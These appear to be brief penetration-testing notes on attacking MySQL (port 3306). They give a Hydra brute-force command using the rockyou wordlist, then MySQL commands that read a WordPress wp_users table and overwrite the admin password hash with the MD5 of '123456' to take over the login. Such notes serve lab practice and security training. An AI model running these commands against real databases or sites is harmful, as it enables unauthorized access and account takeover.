mysql 3306

mysql 3306

• password bruteforcing

  hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.119.88 mysql

• updating wordpress cred via mysql

updating wordpress cred via mysql

• create md5 hash

  • echo -n "123456" | md5sum

• updating

  • mysql -h 192.168.207.88 -u root -probert

    • show databases;

    • use <wordpress-db-name>

    • show tables;

    • select * from wp_users;

    • update wp_users SET user_pass="e10adc3949ba59abbe56e057f20f883e" where ID=1;

  • now login with username and pass “123456”